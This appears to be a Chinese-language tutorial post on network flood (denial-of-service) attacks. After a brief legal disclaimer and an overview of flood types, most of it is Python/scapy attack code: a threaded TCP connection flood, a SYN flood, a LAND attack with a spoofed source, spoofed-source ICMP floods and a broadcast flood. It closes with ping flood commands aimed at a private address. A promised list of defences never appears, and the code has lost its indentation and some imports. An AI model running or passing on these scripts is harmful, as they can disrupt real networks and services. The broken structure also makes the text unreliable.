执行网络攻击,包括 Ping 泛洪攻击,在绝大多数国家/地区都是非法的,它违反了计算机犯罪法律和条例。执行或尝试执行这样的攻击通常会导致法律后果,包括罚款和监禁。因此,这些信息仅供理论学习和了解,绝不应用于非法活动。
“泛洪攻击”(Flood Attack)是一种常见的网络攻击类型,其基本思路是通过极大量的网络请求来消耗目标系统的资源,从而使目标系统过载、响应缓慢或者完全无响应。这种攻击通常用来实现 DoS(拒绝服务)或 DDoS(分布式拒绝服务)攻击。
泛洪攻击的主要目的通常是中断目标服务的正常运行。攻击者尝试通过超载目标的网络和/或资源(比如带宽、CPU、内存等)来使其无法为合法用户提供服务。
攻击者向目标发送大量的 ICMP Echo 请求(通常通过 ping
命令实现)来消耗网络带宽和处理资源。
攻击者发送大量的 SYN(同步)包,试图与目标主机建立大量的半开放连接,从而消耗其资源并尝试使其无法处理新的连接请求。
攻击者向目标主机发送大量的无用 UDP 包,旨在耗尽目标的网络带宽和处理能力。
攻击者生成大量的 HTTP 请求,目的是耗尽目标 Web 服务器的资源。
防御泛洪攻击通常涉及多种策略和工具的组合,例如:
import socket
from scapy.layers.inet import IP, TCP, ICMP
from scapy.sendrecv import send, sendp
def socket_flood(ip, port):
while True:
s = socket.socket()
s.connect((ip, port))
if __name__ == '__main__':
ip = '192.168.110.130'
port = 5000
for i in range(500):
threading.Thread(target=socket_flood, args=(ip, port)).start()
def scapy_flood(ip, port):
while True:
sport = random.randint(10000, 30000) # 随机源端口
pkg = IP(dst=ip)/TCP(sport=sport, dport=port, flags='S')
send(pkg, verbose=False)
将源ip伪造成与目标ip一样
def tcp_land(ip, port):
while True:
sport = random.randint(10000, 30000)
pkg = IP(src=ip, dst=ip)/TCP(sport=sport, dport=port, flags='S')
send(pkg, verbose=False)
伪造内网ip, 从ip层进行攻击, 不针对某一个端口
def icmp_flood(ip):
ip_list = ['192.168.110.130','192.168.110.129','192.168.110.128','192.168.110.131']
payload = 'abcdefghijkabc'*100
while True:
src_ip = random.choice(ip_list)
pkg = IP(src=src_ip, dst=ip)/ICMP()/payload*100 # 100个数据包
send(pkg, verbose=False)
在内网将payload发送给255地址, 那么处于同一个网段内的ip都将获取到广播数据包.
支持广播的协议都可以做到, 比如UDP协议.
def icmp_broadcast():
payload = 'abcdefghijkabc'*100
while True:
pkg = IP(dst='192.168.112.255')/ICMP()/payload*100
send(pkg, verbose=False)
在linux系统中使用 ping 命令的 -i -s 参数:
-i 参数用于指定连续两个 ping 包之间的间隔时间(秒为单位)
-s 参数用于指定要发送的数据包的大小(字节为单位)
将每次ping的间隔设置到非常短, 比如1ms.
将ping的数据包设置到非常大, 这个值要根据目标服务器能够接受的字节大小来设置, 需要探测.
ping -i 0.001 -s 5000 192.168.110.129 # 间隔1ms, 每个5000字节
在windows系统中的 ping 不能设置 ICMP 报文的发送间隔, 间隔默认最快为1s.
ping -f 被用于 “flood ping”。Flood ping 是向目标地址发送大量的 ping 请求包,常常用于压力测试网络。在允许这个选项的系统中,通常只有超级用户(root)能够执行带有 -f 参数的 ping 命令,因为滥用它可以轻易地导致网络拥堵。
ping -f 192.168.110.129